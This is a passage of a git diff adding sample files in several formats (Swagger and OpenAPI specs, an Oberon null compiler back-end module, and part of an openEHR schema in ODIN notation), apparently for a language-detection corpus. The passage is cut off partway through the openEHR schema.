+swagger: "2.0"
+info:
+    title: API Title
+    version: "1.0"
+host: api.domain.test
+basePath: /api
+paths:
+    /path1:
+        put:
+            description: ''
+            parameters: []
+            responses:
+                '200':
+                    description: OK
+        get:
+            description: ''
+            parameters: []
+            responses:
+                '200':
+                    description: OK
+    /name:
+        get:
+            description: ''
+            parameters: []
+            responses:
+                '200':
+                    description: OK
+parameters:
+    paramKey:
+        name: name
+        in: path
+        required: true
+        type: string
+        description: ''
+    bodyKey:
+        name: name
+        in: body
+        description: ''
+        schema: {}
+    otherKey:
+        name: name
+        in: query
+        type: string
+        description: ''
+responses:
+    '200':
+        description: ''
+    code:
+        description: ''
+security:
+    - securityKey: []
+    - name: []
+securityDefinitions:
+    defBasicBasicKey:
+        type: basic
+    defOauth2Access:
+        type: oauth2
+        flow: accessCode
+        authorizationUrl: https://domain.test/api/oauth/dialog
+        tokenUrl: https://domain.test/api/oauth/token
+        scopes:
+            read: example read scope
+            write: example write scope
+    defApiKey:
+        type: apiKey
+        name: api_key
+        in: query
+definitions:
+    defKey:
+        type: object
+        properties:
+            property:
+                type: integer
+    name:
+        type: object
+        properties:
+            property:
+                type: integer
\ No newline at end of file
diff --git a/samples/OASv2-yaml/sample.yml b/samples/OASv2-yaml/sample.yml
new file mode 100644
index 0000000000..515abc4371
--- /dev/null
+++ b/samples/OASv2-yaml/sample.yml
@@ -0,0 +1,78 @@
+swagger: "2.0"
+info:
+    title: API Title
+    version: "1.0"
+host: api.domain.test
+basePath: /api
+paths:
+    /path1:
+        put:
+            description: ''
+            parameters: []
+            responses:
+                '200':
+                    description: OK
+        get:
+            description: ''
+            parameters: []
+            responses:
+                '200':
+                    description: OK
+    /name:
+        get:
+            description: ''
+            parameters: []
+            responses:
+                '200':
+                    description: OK
+parameters:
+    paramKey:
+        name: name
+        in: path
+        required: true
+        type: string
+        description: ''
+    bodyKey:
+        name: name
+        in: body
+        description: ''
+        schema: {}
+    otherKey:
+        name: name
+        in: query
+        type: string
+        description: ''
+responses:
+    '200':
+        description: ''
+    code:
+        description: ''
+security:
+    - securityKey: []
+    - name: []
+securityDefinitions:
+    defBasicBasicKey:
+        type: basic
+    defOauth2Access:
+        type: oauth2
+        flow: accessCode
+        authorizationUrl: https://domain.test/api/oauth/dialog
+        tokenUrl: https://domain.test/api/oauth/token
+        scopes:
+            read: example read scope
+            write: example write scope
+    defApiKey:
+        type: apiKey
+        name: api_key
+        in: query
+definitions:
+    defKey:
+        type: object
+        properties:
+            property:
+                type: integer
+    name:
+        type: object
+        properties:
+            property:
+                type: integer
\ No newline at end of file
diff --git a/samples/OASv3-json/ghes-3.4.json b/samples/OASv3-json/ghes-3.4.json
new file mode 100644
index 0000000000..e36a2bc5ce
--- /dev/null
+++ b/samples/OASv3-json/ghes-3.4.json
@@ -0,0 +1,74 @@
+{
+  "openapi": "3.1.0",
+  "info": {
+    "version": "1.1.4",
+    "title": "GitHub v3 REST API",
+    "description": "GitHub's v3 REST API.",
+    "license": {
+      "name": "MIT",
+      "url": "https://spdx.org/licenses/MIT"
+    },
+    "termsOfService": "https://docs.github.com/articles/github-terms-of-service",
+    "contact": {
+      "name": "Support",
+      "url": "https://support.github.com/contact?tags=dotcom-rest-api"
+    }
+  },
+  "servers": [
+    {
+      "url": "{protocol}://{hostname}/api/v3",
+      "variables": {
+        "hostname": {
+          "description": "Self-hosted Enterprise Server or Enterprise Cloud hostname",
+          "default": "HOSTNAME"
+        },
+        "protocol": {
+          "description": "Self-hosted Enterprise Server or Enterprise Cloud protocol",
+          "default": "http"
+        }
+      }
+    }
+  ],
+  "externalDocs": {
+    "description": "GitHub Enterprise Developer Docs",
+    "url": "https://docs.github.com/enterprise-server@3.4/rest/"
+  },
+  "paths": {
+    "/": {
+      "get": {
+        "summary": "GitHub API Root",
+        "description": "Get Hypermedia links to resources accessible in GitHub's REST API",
+        "tags": [
+          "meta"
+        ],
+        "operationId": "meta/root",
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/root"
+                },
+                "examples": {
+                  "default": {
+                    "$ref": "#/components/examples/root"
+                  }
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "meta"
+        },
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/enterprise-server@3.4/rest/overview/resources-in-the-rest-api#root-endpoint"
+        }
+      }
+    }
+  }
+}
diff --git a/samples/OASv3-yaml/ghes-3.4.yaml b/samples/OASv3-yaml/ghes-3.4.yaml
new file mode 100644
index 0000000000..b69da772fe
--- /dev/null
+++ b/samples/OASv3-yaml/ghes-3.4.yaml
@@ -0,0 +1,50 @@
+---
+openapi: 3.1.0
+info:
+  version: 1.1.4
+  title: GitHub v3 REST API
+  description: GitHub's v3 REST API.
+  license:
+    name: MIT
+    url: https://spdx.org/licenses/MIT
+  termsOfService: https://docs.github.com/articles/github-terms-of-service
+  contact:
+    name: Support
+    url: https://support.github.com/contact?tags=dotcom-rest-api
+servers:
+- url: "{protocol}://{hostname}/api/v3"
+  variables:
+    hostname:
+      description: Self-hosted Enterprise Server or Enterprise Cloud hostname
+      default: HOSTNAME
+    protocol:
+      description: Self-hosted Enterprise Server or Enterprise Cloud protocol
+      default: http
+externalDocs:
+  description: GitHub Enterprise Developer Docs
+  url: https://docs.github.com/enterprise-server@3.4/rest/
+paths:
+  "/":
+    get:
+      summary: GitHub API Root
+      description: Get Hypermedia links to resources accessible in GitHub's REST API
+      tags:
+      - meta
+      operationId: meta/root
+      responses:
+        '200':
+          description: Response
+          content:
+            application/json:
+              schema:
+                "$ref": "#/components/schemas/root"
+              examples:
+                default:
+                  "$ref": "#/components/examples/root"
+      x-github:
+        githubCloudOnly: false
+        enabledForGitHubApps: true
+        category: meta
+      externalDocs:
+        description: API method documentation
+        url: https://docs.github.com/enterprise-server@3.4/rest/overview/resources-in-the-rest-api#root-endpoint
diff --git a/samples/OASv3-yaml/ghes-3.4.yml b/samples/OASv3-yaml/ghes-3.4.yml
new file mode 100644
index 0000000000..b69da772fe
--- /dev/null
+++ b/samples/OASv3-yaml/ghes-3.4.yml
@@ -0,0 +1,50 @@
+---
+openapi: 3.1.0
+info:
+  version: 1.1.4
+  title: GitHub v3 REST API
+  description: GitHub's v3 REST API.
+  license:
+    name: MIT
+    url: https://spdx.org/licenses/MIT
+  termsOfService: https://docs.github.com/articles/github-terms-of-service
+  contact:
+    name: Support
+    url: https://support.github.com/contact?tags=dotcom-rest-api
+servers:
+- url: "{protocol}://{hostname}/api/v3"
+  variables:
+    hostname:
+      description: Self-hosted Enterprise Server or Enterprise Cloud hostname
+      default: HOSTNAME
+    protocol:
+      description: Self-hosted Enterprise Server or Enterprise Cloud protocol
+      default: http
+externalDocs:
+  description: GitHub Enterprise Developer Docs
+  url: https://docs.github.com/enterprise-server@3.4/rest/
+paths:
+  "/":
+    get:
+      summary: GitHub API Root
+      description: Get Hypermedia links to resources accessible in GitHub's REST API
+      tags:
+      - meta
+      operationId: meta/root
+      responses:
+        '200':
+          description: Response
+          content:
+            application/json:
+              schema:
+                "$ref": "#/components/schemas/root"
+              examples:
+                default:
+                  "$ref": "#/components/examples/root"
+      x-github:
+        githubCloudOnly: false
+        enabledForGitHubApps: true
+        category: meta
+      externalDocs:
+        description: API method documentation
+        url: https://docs.github.com/enterprise-server@3.4/rest/overview/resources-in-the-rest-api#root-endpoint
diff --git a/samples/Oberon/beNull.ob2 b/samples/Oberon/beNull.ob2
new file mode 100644
index 0000000000..3faa40175d
--- /dev/null
+++ b/samples/Oberon/beNull.ob2
@@ -0,0 +1,124 @@
+(** �������� ����� ᡮ� ����⨪� *)
+
+MODULE beNull;  (* Empty back-end *)
+
+IMPORT 	pc :=pcK,
+	xfs:=xiFiles,
+	env:=xiEnv,
+	SYSTEM;
+
+TYPE
+  CODE = POINTER TO code_rec;
+  code_rec = RECORD (pc.code_rec)
+	     END;
+
+PROCEDURE val(x: LONGINT): pc.VALUE;
+  VAR v: pc.VALUE;
+BEGIN
+  v:=pc.value.new(env.null_pos,pc.ZZ_type);
+  v.set_integer(x);
+  RETURN v;
+END val;
+
+(*PROCEDURE rval(x: LONGREAL): pc.VALUE;
+  VAR v: pc.VALUE;
+BEGIN
+  v:=pc.value.new(env.null_pos,pc.RR_type);
+  v.set_real(x);
+  RETURN v;
+END rval;
+*)
+PROCEDURE (c: CODE) ini;
+BEGIN
+  c.bits_per_loc :=8;
+  c.locs_per_word:=4;
+
+  c.FRETs:=pc.REALs+pc.WHOLEs+pc.CPLXs+
+		pc.TY_SET{pc.ty_boolean,pc.ty_enum,pc.ty_range,pc.ty_char}+
+		pc.TY_SET{pc.ty_array,pc.ty_loc}+
+		pc.TY_SET{pc.ty_opaque,pc.ty_pointer}+
+		pc.TY_SET{pc.ty_protection,pc.ty_proctype,pc.ty_record};
+
+(*  c.max_loc :=val(ASH(1,c.bits_per_loc)-1);
+  c.max_sint:=val(MAX(SHORTINT));
+  c.max_int :=val(MAX(INTEGER));
+  c.max_lint:=val(MAX(LONGINT));
+  c.min_sint:=val(MIN(SHORTINT));
+  c.min_int :=val(MIN(INTEGER));
+  c.min_lint:=val(MIN(LONGINT));
+
+  c.max_scard:=val(0);
+  c.max_scard.binary(pc.sb_minus,c.max_sint,c.min_sint);
+  c.max_card :=val(0);
+  c.max_card .binary(pc.sb_minus,c.max_int,c.min_int);
+  c.max_lcard:=val(0);
+  c.max_lcard.binary(pc.sb_minus,c.max_lint,c.min_lint);
+
+  c.max_char :=val(255);
+  c.max_real :=rval(MAX(REAL));
+  c.max_lreal:=rval(MAX(LONGREAL));
+  c.min_real :=rval(MIN(REAL));
+  c.min_lreal:=rval(MIN(LONGREAL));
+*)
+  c.max_dim:=10;
+  c.max_ext_lev:=25;
+  c.def_storage:=TRUE;
+  c.max_sysflag:=pc.flag_c;
+
+  c.int16:=FALSE;
+  c.index16:=FALSE;
+  c.address16:=TRUE;
+  c.max_index:=val(MAX(LONGINT));
+END ini;
+
+PROCEDURE (c: CODE) exi;
+BEGIN
+END exi;
+
+PROCEDURE (c: CODE) gen_code(cu: pc.Mno; main: BOOLEAN);
+BEGIN
+END gen_code;
+
+PROCEDURE (c: CODE) allocate(cu: pc.Mno; main: BOOLEAN; src_time: SYSTEM.CARD32);
+BEGIN
+END allocate;
+
+PROCEDURE (c: CODE) get_size(op: pc.SUB_MODE; t: pc.STRUCT): LONGINT;
+BEGIN
+  RETURN -1;
+END get_size;
+
+PROCEDURE (c: CODE) inp_object(file: xfs.SymFile; o: pc.OBJECT; id: LONGINT);
+BEGIN
+END inp_object;
+
+PROCEDURE (c: CODE) skip_object(file: xfs.SymFile; id: LONGINT);
+BEGIN
+END skip_object;
+
+PROCEDURE (c: CODE) inp_struct(file: xfs.SymFile; s: pc.STRUCT; id: LONGINT);
+BEGIN
+END inp_struct;
+
+PROCEDURE (c: CODE) skip_struct(file: xfs.SymFile; id: LONGINT);
+BEGIN
+END skip_struct;
+
+PROCEDURE Set*;
+  VAR code: CODE;
+BEGIN
+  env.config.NewOption("GENSTAT",FALSE,SYSTEM.VAL(env.CompilerOption,-1));
+  env.config.NewOption("GENSTATONLY",FALSE,SYSTEM.VAL(env.CompilerOption,-1));
+  env.config.NewEquation("STATEXT");
+  env.config.SetEquation("STATEXT","0st");
+  NEW(code);
+  pc.code:=code;
+  code.sym_ident:=pc.sym_C;
+  code.valid_idents := { pc.sym_C          - pc.sym_base
+                       , pc.sym_native     - pc.sym_base
+                       , pc.sym_native + 1 - pc.sym_base };
+  code.vers:="NULL";
+  env.config.Equation("OBJEXT",code.code_ext);
+END Set;
+
+END beNull.
diff --git a/samples/Object Data Instance Notation/openehr_ehr_1.0.3.bmm.odin b/samples/Object Data Instance Notation/openehr_ehr_1.0.3.bmm.odin
new file mode 100644
index 0000000000..2e9af6a28a
--- /dev/null
+++ b/samples/Object Data Instance Notation/openehr_ehr_1.0.3.bmm.odin	
@@ -0,0 +1,2498 @@
+    rm_publisher = <"openehr">
+    rm_release = <"1.0.3">
+    packages = <
+        ["ORG.OPENEHR.RM.EHR"] = <
+            name = <"org.openehr.rm.ehr">
+            classes = <"EHR", "EHR_ACCESS", "EHR_STATUS", "ACCESS_CONTROL_SETTINGS">
+        >
+        ["ORG.OPENEHR.RM.COMPOSITION"] = <
+            packages = <
+                ["CONTENT"] = <
+                    packages = <
+                        ["NAVIGATION"] = <
+                            name = <"navigation">
+                            classes = <"SECTION", ...>
+                        >
+                        ["ENTRY"] = <
+                            name = <"entry">
+                            classes = <"ENTRY", "CARE_ENTRY", "ADMIN_ENTRY", "OBSERVATION", "EVALUATION", "INSTRUCTION", "ACTION", "ACTIVITY", "ISM_TRANSITION", "INSTRUCTION_DETAILS">
+                        >
+                        ["INTEGRATION"] = <
+                            name = <"integration">
+                            classes = <"GENERIC_ENTRY", ...>
+                        >
+                    >
+                    name = <"content">
+                    classes = <"CONTENT_ITEM", ...>
+                >
+            >
+            name = <"org.openehr.rm.composition">
+            classes = <"COMPOSITION", "EVENT_CONTEXT">
+        >
+    >
+    schema_name = <"ehr">
+    schema_revision = <"1.0.3.1">
+    schema_lifecycle_state = <"stable">
+    schema_author = <"Thomas Beale <thomas.beale@openehr.org>">
+    schema_description = <"openEHR Release 1.0.3 EHR schema">
+    bmm_version = <"2.3">
+    model_name = <"EHR">
+    includes = <
+        ["1"] = <
+            id = <"openehr_structures_1.0.3">
+        >
+    >
+    primitive_types = <
+        ["Any"] = <
+            name = <"Any">
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            is_abstract = <True>
+            uid = <396>
+        >
+        ["Ordered"] = <
+            documentation = <"Ancestor of types with total order relation defined, i.e. '<' and '='.">
+            name = <"Ordered">
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            is_abstract = <True>
+            uid = <397>
+        >
+        ["Numeric"] = <
+            documentation = <"Ancestor of numeric types.">
+            name = <"Numeric">
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            is_abstract = <True>
+            uid = <398>
+        >
+        ["Ordered_Numeric"] = <
+            documentation = <"Ancestor of ordered numeric types.">
+            name = <"Ordered_Numeric">
+            ancestors = <"Numeric", "Ordered">
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            is_abstract = <True>
+            uid = <399>
+        >
+        ["Byte"] = <
+            name = <"Byte">
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <400>
+        >
+        ["Octet"] = <
+            name = <"Octet">
+            ancestors = <"Ordered", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <401>
+        >
+        ["Boolean"] = <
+            name = <"Boolean">
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <402>
+        >
+        ["Integer"] = <
+            name = <"Integer">
+            ancestors = <"Ordered_Numeric", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <403>
+        >
+        ["Integer64"] = <
+            name = <"Integer64">
+            ancestors = <"Ordered_Numeric", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <404>
+        >
+        ["Real"] = <
+            name = <"Real">
+            ancestors = <"Ordered_Numeric", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <405>
+        >
+        ["Double"] = <
+            name = <"Double">
+            ancestors = <"Ordered_Numeric", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <406>
+        >
+        ["Character"] = <
+            name = <"Character">
+            ancestors = <"Ordered", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <407>
+        >
+        ["String"] = <
+            name = <"String">
+            ancestors = <"Ordered", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <408>
+        >
+        ["List"] = <
+            name = <"List">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <409>
+        >
+        ["Array"] = <
+            name = <"Array">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <410>
+        >
+        ["Set"] = <
+            name = <"Set">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <411>
+        >
+        ["Interval"] = <
+            documentation = <"Type defining an interval of any ordered type.">
+            name = <"Interval">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                    conforms_to_type = <"Ordered">
+                >
+            >
+            ancestors = <"Any", ...>
+            properties = <
+                ["lower"] = (P_BMM_SINGLE_PROPERTY_OPEN) <
+                    name = <"lower">
+                    type = <"T">
+                >
+                ["upper"] = (P_BMM_SINGLE_PROPERTY_OPEN) <
+                    name = <"upper">
+                    type = <"T">
+                >
+                ["lower_unbounded"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"lower_unbounded">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+                ["upper_unbounded"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"upper_unbounded">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+                ["lower_included"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"lower_included">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+                ["upper_included"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"upper_included">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <412>
+        >
+        ["Hash"] = <
+            documentation = <"Type defining Hash table / hash map structure, whose type parameters V and K represent a value type and an Ordered key type respectively.">
+            name = <"Hash">
+            generic_parameter_defs = <
+                ["V"] = <
+                    name = <"V">
+                >
+                ["K"] = <
+                    name = <"K">
+                    conforms_to_type = <"Ordered">
+                >
+            >
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <413>
+        >
+        ["ISO8601_TYPE"] = <
+            name = <"ISO8601_TYPE">
+            ancestors = <"Ordered", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <414>
+        >
+        ["ISO8601_DATE"] = <
+            documentation = <"Date type based on IS8601 representation.">
+            name = <"ISO8601_DATE">
+            ancestors = <"ISO8601_TYPE", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <415>
+        >
+        ["ISO8601_TIME"] = <
+            documentation = <"Time type based on IS8601 representation.">
+            name = <"ISO8601_TIME">
+            ancestors = <"ISO8601_TYPE", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <416>
+        >
+        ["ISO8601_DATE_TIME"] = <
+            documentation = <"Date Time type based on IS8601 representation.">
+            name = <"ISO8601_DATE_TIME">
+            ancestors = <"ISO8601_TYPE", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <417>
+        >
+        ["ISO8601_DURATION"] = <
+            documentation = <"Duration type based on IS8601 representation.">
+            name = <"ISO8601_DURATION">
+            ancestors = <"ISO8601_TYPE", ...>
+            source_schema_id = <"openehr_primitive_types_1.0.3">
+            uid = <418>
+        >
+    >
+    class_definitions = <
+        ["EHR"] = <
+            name = <"EHR">
+            properties = <
+                ["system_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"system_id">
+                    type = <"HIER_OBJECT_ID">
+                    is_mandatory = <True>
+                >
+                ["ehr_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"ehr_id">
+                    type = <"HIER_OBJECT_ID">
+                    is_mandatory = <True>
+                >
+                ["time_created"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"time_created">
+                    type = <"DV_DATE_TIME">
+                    is_mandatory = <True>
+                >
+                ["ehr_access"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"ehr_access">
+                    type = <"OBJECT_REF">
+                    is_mandatory = <True>
+                >
+                ["ehr_status"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"ehr_status">
+                    type = <"OBJECT_REF">
+                    is_mandatory = <True>
+                >
+                ["directory"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"directory">
+                    type = <"OBJECT_REF">
+                >
+                ["compositions"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"compositions">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"OBJECT_REF">
+                        container_type = <"List">
+                    >
+                >
+                ["contributions"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"contributions">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"OBJECT_REF">
+                        container_type = <"List">
+                    >
+                >
+                ["most_recent_composition"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"most_recent_composition">
+                    type = <"COMPOSITION">
+                    is_computed = <True>
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <348>
+        >
+        ["EHR_ACCESS"] = <
+            name = <"EHR_ACCESS">
+            ancestors = <"LOCATABLE", ...>
+            properties = <
+                ["settings"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"settings">
+                    type = <"ACCESS_CONTROL_SETTINGS">
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <349>
+        >
+        ["ACCESS_CONTROL_SETTINGS"] = <
+            name = <"ACCESS_CONTROL_SETTINGS">
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_ehr_1.0.3">
+            is_abstract = <True>
+            uid = <350>
+        >
+        ["EHR_STATUS"] = <
+            name = <"EHR_STATUS">
+            ancestors = <"LOCATABLE", ...>
+            properties = <
+                ["subject"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"subject">
+                    type = <"PARTY_SELF">
+                    is_mandatory = <True>
+                >
+                ["is_queryable"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"is_queryable">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+                ["is_modifiable"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"is_modifiable">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+                ["other_details"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"other_details">
+                    type = <"ITEM_STRUCTURE">
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <351>
+        >
+        ["COMPOSITION"] = <
+            name = <"COMPOSITION">
+            ancestors = <"LOCATABLE", ...>
+            properties = <
+                ["language"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"language">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+                ["territory"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"territory">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+                ["category"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"category">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+                ["composer"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"composer">
+                    type = <"PARTY_PROXY">
+                    is_mandatory = <True>
+                >
+                ["context"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"context">
+                    type = <"EVENT_CONTEXT">
+                >
+                ["content"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"content">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"CONTENT_ITEM">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <352>
+        >
+        ["EVENT_CONTEXT"] = <
+            name = <"EVENT_CONTEXT">
+            ancestors = <"PATHABLE", ...>
+            properties = <
+                ["health_care_facility"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"health_care_facility">
+                    type = <"PARTY_IDENTIFIED">
+                >
+                ["start_time"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"start_time">
+                    type = <"DV_DATE_TIME">
+                    is_mandatory = <True>
+                >
+                ["end_time"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"end_time">
+                    type = <"DV_DATE_TIME">
+                >
+                ["participations"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"participations">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"PARTICIPATION">
+                        container_type = <"List">
+                    >
+                >
+                ["location"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"location">
+                    type = <"String">
+                >
+                ["setting"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"setting">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+                ["other_context"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"other_context">
+                    type = <"ITEM_STRUCTURE">
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <353>
+        >
+        ["CONTENT_ITEM"] = <
+            name = <"CONTENT_ITEM">
+            ancestors = <"LOCATABLE", ...>
+            source_schema_id = <"openehr_ehr_1.0.3">
+            is_abstract = <True>
+            uid = <354>
+        >
+        ["SECTION"] = <
+            name = <"SECTION">
+            ancestors = <"CONTENT_ITEM", ...>
+            properties = <
+                ["items"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"items">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"CONTENT_ITEM">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <355>
+        >
+        ["ENTRY"] = <
+            name = <"ENTRY">
+            ancestors = <"CONTENT_ITEM", ...>
+            properties = <
+                ["language"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"language">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["encoding"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"encoding">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["subject"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"subject">
+                    type = <"PARTY_PROXY">
+                    is_mandatory = <True>
+                >
+                ["provider"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"provider">
+                    type = <"PARTY_PROXY">
+                >
+                ["other_participations"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"other_participations">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"PARTICIPATION">
+                        container_type = <"List">
+                    >
+                >
+                ["workflow_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"workflow_id">
+                    type = <"OBJECT_REF">
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            is_abstract = <True>
+            uid = <356>
+        >
+        ["ADMIN_ENTRY"] = <
+            name = <"ADMIN_ENTRY">
+            ancestors = <"ENTRY", ...>
+            properties = <
+                ["data"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"data">
+                    type = <"ITEM_STRUCTURE">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <357>
+        >
+        ["CARE_ENTRY"] = <
+            documentation = <"Abstract ENTRY subtype corresponding to any type of ENTRY in the clinical care cycle.">
+            name = <"CARE_ENTRY">
+            ancestors = <"ENTRY", ...>
+            properties = <
+                ["protocol"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"protocol">
+                    type = <"ITEM_STRUCTURE">
+                >
+                ["guideline_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"guideline_id">
+                    type = <"OBJECT_REF">
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            is_abstract = <True>
+            uid = <358>
+        >
+        ["OBSERVATION"] = <
+            documentation = <"ENTRY subtype used to represent observation information in time, as either a single or multiple samples.">
+            name = <"OBSERVATION">
+            ancestors = <"CARE_ENTRY", ...>
+            properties = <
+                ["data"] = (P_BMM_GENERIC_PROPERTY) <
+                    documentation = <"Data of the observation, in the form of a HISTORY of EVENTs.">
+                    name = <"data">
+                    type_def = <
+                        root_type = <"HISTORY">
+                        generic_parameters = <"ITEM_STRUCTURE", ...>
+                    >
+                    is_mandatory = <True>
+                >
+                ["state"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"state">
+                    type_def = <
+                        root_type = <"HISTORY">
+                        generic_parameters = <"ITEM_STRUCTURE", ...>
+                    >
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <359>
+        >
+        ["EVALUATION"] = <
+            name = <"EVALUATION">
+            ancestors = <"CARE_ENTRY", ...>
+            properties = <
+                ["data"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"data">
+                    type = <"ITEM_STRUCTURE">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <360>
+        >
+        ["INSTRUCTION"] = <
+            name = <"INSTRUCTION">
+            ancestors = <"CARE_ENTRY", ...>
+            properties = <
+                ["narrative"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"narrative">
+                    type = <"DV_TEXT">
+                    is_mandatory = <True>
+                >
+                ["expiry_time"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"expiry_time">
+                    type = <"DV_DATE_TIME">
+                >
+                ["wf_definition"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"wf_definition">
+                    type = <"DV_PARSABLE">
+                    is_im_runtime = <True>
+                >
+                ["activities"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"activities">
